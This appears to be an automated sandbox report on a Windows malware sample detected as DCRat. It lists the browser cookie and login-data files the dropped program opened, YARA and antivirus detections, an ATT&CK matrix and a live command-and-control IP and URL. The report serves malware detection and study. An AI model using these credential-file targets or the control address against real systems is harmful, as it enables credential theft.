                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-walJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior

                          Remote Access Functionality

                          barindex
                          Yara detected DCRat
                          Source: Yara matchFile source: 2.2.RegAsm.exe.436060.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 2.2.RegAsm.exe.436060.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 5.0.qyKnQ3XZNg.exe.3b0000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 2.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 2.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000000B.00000002.4163028473.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000005.00000000.1733919550.00000000003B2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000000B.00000002.4163028473.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3624, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: qyKnQ3XZNg.exe PID: 3320, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: buTEJZlOSIruGihHI.exe PID: 7136, type: MEMORYSTR
                          Source: Yara matchFile source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe, type: DROPPED
                          Source: Yara matchFile source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe, type: DROPPED

                          Mitre Att&ck Matrix

                          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                          Gather Victim Identity Information1
                          Scripting                          		Valid Accounts141
                          Windows Management Instrumentation                          		1
                          Scripting                          		412
                          Process Injection                          		11
                          Masquerading                          		1
                          OS Credential Dumping                          		1
                          System Time Discovery                          		Remote Services11
                          Archive Collected Data                          		1
                          Encrypted Channel                          		Exfiltration Over Other Network MediumAbuse Accessibility Features
                          CredentialsDomainsDefault AccountsScheduled Task/Job1
                          DLL Side-Loading                          		1
                          DLL Side-Loading                          		1
                          Disable or Modify Tools                          		LSASS Memory361
                          Security Software Discovery                          		Remote Desktop Protocol1
                          Data from Local System                          		1
                          Non-Application Layer Protocol                          		Exfiltration Over BluetoothNetwork Denial of Service
                          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)251
                          Virtualization/Sandbox Evasion                          		Security Account Manager2
                          Process Discovery                          		SMB/Windows Admin Shares1
                          Clipboard Data                          		11
                          Application Layer Protocol                          		Automated ExfiltrationData Encrypted for Impact
                          Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook412
                          Process Injection                          		NTDS251
                          Virtualization/Sandbox Evasion                          		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
                          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script11
                          Deobfuscate/Decode Files or Information                          		LSA Secrets1
                          Application Window Discovery                          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts31
                          Obfuscated Files or Information                          		Cached Domain Credentials3
                          File and Directory Discovery                          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                          Software Packing                          		DCSync156
                          System Information Discovery                          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                          DLL Side-Loading                          		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                          Behavior Graph

                          Hide Legend

                          Legend:

                          • Process
                          • Signature
                          • Created File
                          • DNS/IP Info
                          • Is Dropped
                          • Is Windows Process
                          • Number of created Registry Values
                          • Number of created Files
                          • Visual Basic
                          • Delphi
                          • Java
                          • .Net C# or VB.NET
                          • C, C++ or other language
                          • Is malicious
                          • Internet
                          behaviorgraph top1 signatures2 2 Behavior Graph ID: 1470635 Sample: file.exe Startdate: 10/07/2024 Architecture: WINDOWS Score: 100 60 Snort IDS alert for network traffic 2->60 62 Antivirus detection for dropped file 2->62 64 Multi AV Scanner detection for dropped file 2->64 66 8 other signatures 2->66 9 file.exe 1 2->9         started        process3 signatures4 74 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 9->74 76 Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines) 9->76 78 Contains functionality to inject code into remote processes 9->78 80 3 other signatures 9->80 12 RegAsm.exe 3 9->12         started        15 conhost.exe 9->15         started        process5 file6 46 C:\Users\user\AppData\...\qyKnQ3XZNg.exe, PE32 12->46 dropped 48 C:\Users\user\AppData\...\h7xZry2ICs.exe, PE32+ 12->48 dropped 17 qyKnQ3XZNg.exe 4 23 12->17         started        21 h7xZry2ICs.exe 1 12->21         started        process7 file8 38 C:\Users\user\Desktop\zbQSPIDz.log, PE32 17->38 dropped 40 C:\Users\user\Desktop\vtJunvdL.log, PE32 17->40 dropped 42 C:\Users\user\Desktop\iUznwWYk.log, PE32 17->42 dropped 44 14 other malicious files 17->44 dropped 68 Antivirus detection for dropped file 17->68 70 Multi AV Scanner detection for dropped file 17->70 72 Machine Learning detection for dropped file 17->72 23 cmd.exe 1 17->23         started        25 conhost.exe 21->25         started        signatures9 process10 process11 27 buTEJZlOSIruGihHI.exe 14 589 23->27         started        32 w32tm.exe 1 23->32         started        34 conhost.exe 23->34         started        36 chcp.com 1 23->36         started        dnsIp12 58 193.233.115.185, 49731, 49732, 49733 FREE-MPEIRU Russian Federation 27->58 50 C:\Users\user\Desktop\wGPuvkTt.log, PE32 27->50 dropped 52 C:\Users\user\Desktop\vBETvAds.log, PE32 27->52 dropped 54 C:\Users\user\Desktop\tzSlZRZx.log, PE32 27->54 dropped 56 12 other malicious files 27->56 dropped 82 Antivirus detection for dropped file 27->82 84 Multi AV Scanner detection for dropped file 27->84 86 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 27->86 88 3 other signatures 27->88 file13 signatures14

                          Screenshots

                          Thumbnails

                          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                          windows-stand

                          Antivirus, Machine Learning and Genetic Malware Detection

                          Initial Sample

                          SourceDetectionScannerLabelLink
                          file.exe58%VirustotalBrowse
                          file.exe53%ReversingLabsWin32.Trojan.LummaC
                          file.exe100%Joe Sandbox ML

                          Dropped Files

                          SourceDetectionScannerLabelLink
                          C:\Users\user\Desktop\KynqlyEe.log100%AviraTR/PSW.Agent.qngqt
                          C:\Users\user\Desktop\iUznwWYk.log100%AviraHEUR/AGEN.1300079
                          C:\Users\user\AppData\Local\Temp\c50EBnOxbg.bat100%AviraBAT/Delbat.C
                          C:\Users\user\Desktop\qOmVSEOE.log100%AviraHEUR/AGEN.1362695
                          C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe100%AviraHEUR/AGEN.1309961
                          C:\Users\user\Desktop\SsDyjNNO.log100%AviraHEUR/AGEN.1362695
                          C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe100%AviraHEUR/AGEN.1309961
                          C:\Users\user\Desktop\GYbsQreY.log100%AviraTR/PSW.Agent.qngqt
                          C:\Users\user\Desktop\GpiKfMYa.log100%AviraHEUR/AGEN.1300079
                          C:\Users\user\Desktop\hXYfaWJp.log100%AviraHEUR/AGEN.1300079
                          C:\Users\user\Desktop\DnwbJdUf.log100%AviraHEUR/AGEN.1300079
                          C:\Users\user\Desktop\JfZBmJZU.log100%Joe Sandbox ML
                          C:\Users\user\Desktop\KynqlyEe.log100%Joe Sandbox ML
                          C:\Users\user\Desktop\iUznwWYk.log100%Joe Sandbox ML
                          C:\Users\user\Desktop\qOmVSEOE.log100%Joe Sandbox ML
                          C:\Users\user\Desktop\AwFlCgTm.log100%Joe Sandbox ML
                          C:\Users\user\Desktop\tzSlZRZx.log100%Joe Sandbox ML
                          C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe100%Joe Sandbox ML
                          C:\Users\user\Desktop\SsDyjNNO.log100%Joe Sandbox ML
                          C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe100%Joe Sandbox ML
                          C:\Users\user\Desktop\dghoTZIw.log100%Joe Sandbox ML
                          C:\Users\user\Desktop\GYbsQreY.log100%Joe Sandbox ML
                          C:\Users\user\Desktop\GpiKfMYa.log100%Joe Sandbox ML
                          C:\Users\user\Desktop\OKwaGAoa.log100%Joe Sandbox ML
                          C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe63%VirustotalBrowse
                          C:\Users\user\AppData\Roaming\h7xZry2ICs.exe0%ReversingLabs
                          C:\Users\user\AppData\Roaming\h7xZry2ICs.exe0%VirustotalBrowse
                          C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe63%VirustotalBrowse
                          C:\Users\user\Desktop\AwFlCgTm.log17%ReversingLabs
                          C:\Users\user\Desktop\AwFlCgTm.log9%VirustotalBrowse
                          C:\Users\user\Desktop\ChlBJuef.log12%ReversingLabs
                          C:\Users\user\Desktop\ChlBJuef.log4%VirustotalBrowse
                          C:\Users\user\Desktop\DnwbJdUf.log17%ReversingLabsByteCode-MSIL.Trojan.DCRat
                          C:\Users\user\Desktop\DnwbJdUf.log22%VirustotalBrowse
                          C:\Users\user\Desktop\FccKWXjt.log17%ReversingLabs
                          C:\Users\user\Desktop\FccKWXjt.log4%VirustotalBrowse
                          C:\Users\user\Desktop\GHxAeCEl.log12%ReversingLabs
                          C:\Users\user\Desktop\GHxAeCEl.log6%VirustotalBrowse
                          C:\Users\user\Desktop\GYbsQreY.log71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                          C:\Users\user\Desktop\GYbsQreY.log69%VirustotalBrowse
                          C:\Users\user\Desktop\GZESsXxn.log12%ReversingLabs
                          C:\Users\user\Desktop\GZESsXxn.log9%VirustotalBrowse
                          C:\Users\user\Desktop\GpiKfMYa.log8%ReversingLabs
                          C:\Users\user\Desktop\GpiKfMYa.log14%VirustotalBrowse
                          C:\Users\user\Desktop\JKjizlIg.log8%ReversingLabs
                          C:\Users\user\Desktop\JKjizlIg.log12%VirustotalBrowse
                          C:\Users\user\Desktop\JfZBmJZU.log5%ReversingLabs
                          C:\Users\user\Desktop\JfZBmJZU.log7%VirustotalBrowse
                          C:\Users\user\Desktop\KynqlyEe.log71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                          C:\Users\user\Desktop\KynqlyEe.log69%VirustotalBrowse
                          C:\Users\user\Desktop\NVPrtGZN.log12%ReversingLabs
                          C:\Users\user\Desktop\NVPrtGZN.log6%VirustotalBrowse
                          C:\Users\user\Desktop\OKwaGAoa.log12%ReversingLabs
                          C:\Users\user\Desktop\OKwaGAoa.log8%VirustotalBrowse
                          C:\Users\user\Desktop\QHXicADV.log12%ReversingLabs
                          C:\Users\user\Desktop\QHXicADV.log4%VirustotalBrowse
                          C:\Users\user\Desktop\SsDyjNNO.log8%ReversingLabs
                          C:\Users\user\Desktop\SsDyjNNO.log7%VirustotalBrowse
                          C:\Users\user\Desktop\YBKPyitp.log12%ReversingLabs
                          C:\Users\user\Desktop\YBKPyitp.log4%VirustotalBrowse
                          C:\Users\user\Desktop\YlgXMtSC.log17%ReversingLabs
                          C:\Users\user\Desktop\YlgXMtSC.log24%VirustotalBrowse
                          C:\Users\user\Desktop\csBGFfui.log17%ReversingLabs
                          C:\Users\user\Desktop\csBGFfui.log4%VirustotalBrowse
                          C:\Users\user\Desktop\dghoTZIw.log17%ReversingLabs
                          C:\Users\user\Desktop\dghoTZIw.log9%VirustotalBrowse

                          Unpacked PE Files

                          ⊘No Antivirus matches

                          Domains

                          ⊘No Antivirus matches

                          URLs

                          SourceDetectionScannerLabelLink
                          https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF0%URL Reputationsafe
                          http://www.apache.org/licenses/LICENSE-2.00%URL Reputationsafe
                          http://www.apache.org/licenses/LICENSE-2.00%URL Reputationsafe
                          http://www.fontbureau.com0%URL Reputationsafe
                          http://www.fontbureau.com/designersG0%URL Reputationsafe
                          http://www.fontbureau.com/designers/?0%URL Reputationsafe
                          http://www.fontbureau.com/designers/?0%URL Reputationsafe
                          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                          http://www.fontbureau.com/designers?0%URL Reputationsafe
                          http://www.tiro.com0%URL Reputationsafe
                          https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
                          http://www.fontbureau.com/designers0%URL Reputationsafe
                          https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK20160%URL Reputationsafe
                          https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e170%URL Reputationsafe
                          http://www.goodfont.co.kr0%URL Reputationsafe
                          https://www.ecosia.org/newtab/0%URL Reputationsafe
                          https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br0%URL Reputationsafe
                          http://www.carterandcone.coml0%URL Reputationsafe
                          http://www.sajatypeworks.com0%URL Reputationsafe
                          http://www.typography.netD0%URL Reputationsafe
                          https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
                          http://www.fontbureau.com/designers/cabarga.htmlN0%URL Reputationsafe
                          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                          http://www.founder.com.cn/cn0%URL Reputationsafe
                          http://www.fontbureau.com/designers/frere-user.html0%URL Reputationsafe
                          https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install0%URL Reputationsafe
                          https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
                          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
                          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                          http://www.fontbureau.com/designers80%URL Reputationsafe
                          https://duckduckgo.com/chrome_newtab0%Avira URL Cloudsafe
                          http://www.fonts.com0%URL Reputationsafe
                          http://www.sandoll.co.kr0%URL Reputationsafe
                          https://support.mozilla.org0%URL Reputationsafe
                          http://www.urwpp.deDPlease0%URL Reputationsafe
                          https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples0%URL Reputationsafe
                          http://www.zhongyicts.com.cn0%URL Reputationsafe
                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                          http://www.sakkal.com0%URL Reputationsafe
                          https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe
                          http://193.233.115.185/Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php0%Avira URL Cloudsafe
                          https://duckduckgo.com/ac/?q=0%Avira URL Cloudsafe
                          http://193.233.115.1850%Avira URL Cloudsafe
                          https://www.google.com/images/branding/product/ico/googleg_lodp.ico0%Avira URL Cloudsafe
                          https://duckduckgo.com/chrome_newtab0%VirustotalBrowse
                          http://193.233.115.185/Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.ph0%Avira URL Cloudsafe
                          https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%Avira URL Cloudsafe
                          http://193.233.115.185/Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php0%VirustotalBrowse
                          https://duckduckgo.com/ac/?q=0%VirustotalBrowse
                          https://www.google.com/images/branding/product/ico/googleg_lodp.ico0%VirustotalBrowse
                          https://support.mozilla.org/products/firefox0%Avira URL Cloudsafe
                          http://193.233HJ0%Avira URL Cloudsafe
                          https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%VirustotalBrowse
                          http://193.233.115.185/Dle0protectTemp/externalprotect/0%Avira URL Cloudsafe
                          https://support.mozilla.org/products/firefox0%VirustotalBrowse

                          Domains and IPs

                          Contacted Domains

                          ⊘No contacted domains info

                          Contacted URLs

                          NameMaliciousAntivirus DetectionReputation
                          http://193.233.115.185/Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.phptrue
                          • 0%, Virustotal, Browse
                          • Avira URL Cloud: safe
                          		unknown

                          URLs from Memory and Binaries

                          NameSourceMaliciousAntivirus DetectionReputation
                          https://duckduckgo.com/chrome_newtabbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • 0%, Virustotal, Browse
                          • Avira URL Cloud: safe
                          		unknown
                          https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDFtYfNTC5mXF.11.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.apache.org/licenses/LICENSE-2.0buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.combuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.com/designersGbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://duckduckgo.com/ac/?q=buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • 0%, Virustotal, Browse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.fontbureau.com/designers/?buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          		unknown
                          http://193.233.115.185buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005F36000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005B70000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005DDA000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.founder.com.cn/cn/bThebuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://www.google.com/images/branding/product/ico/googleg_lodp.icobuTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • 0%, Virustotal, Browse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.fontbureau.com/designers?buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://193.233.115.185/Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.phbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005F36000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005B70000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005DDA000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
